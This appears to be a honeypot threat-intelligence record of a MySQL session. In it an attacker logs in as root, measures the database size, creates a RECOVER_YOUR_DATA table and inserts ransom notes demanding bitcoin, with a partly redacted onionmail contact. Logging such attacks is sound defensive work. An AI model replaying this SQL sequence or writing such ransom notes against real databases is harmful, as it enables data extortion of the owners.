PUB-2026-0305-0020

MYSQLEvents10BehaviorYesPrimitives6Duration1s

mysql_pre_extortion_valuation_and_ransom_dropcritical

Performs a structured MySQL extortion workflow that first disables autocommit and calculates database size via information_schema to assess data value, then enumerates tables, creates a ransom table, inserts explicit extortion messages with payment instructions, and commits the transaction—clearly indicating intentional database extortion following valuation.

Session Events10 events · 1s

010:58:27authroot·mysql_native_password

110:58:27sqlSET autocommit=0

210:58:27sql

SELECT SUM(data_length + index_length) 
FROM information_schema.tables 
WHERE table_schema = ?

310:58:27sql

SELECT SUM(data_length + index_length) 
FROM information_schema.tables 
WHERE table_schema = ?

410:58:27sqlUSE `metrics`

510:58:28sqlUSE `metrics`

610:58:28sqlCREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255))

710:58:28sql

INSERT 
INTO RECOVER_YOUR_DATA (text) 
VALUES ('All your data is backed up. You must pay 0.0122 BTC to [...] In 48 hours, your data will be publicly disclosed 
and deleted. (more information: go to https://[...]/yotuqu)')

810:58:28sql

INSERT 
INTO RECOVER_YOUR_DATA (text) 
VALUES ('After payment send mail to us: [...]@onionmail.org 
and we will provide a link for you to download your data. Your DATAID is: 25RR6')

910:58:28sqlCOMMIT

Matched Primitives

Related MYSQL Sessions

ID	Protocol	Events	Behavior	Primitives	Duration
PUB-2026-0319-0001	MYSQL	10	Yes	7	0s
PUB-2026-0307-0010	MYSQL	35	No	1	1s
PUB-2026-0305-0019	MYSQL	6	Yes	4	6s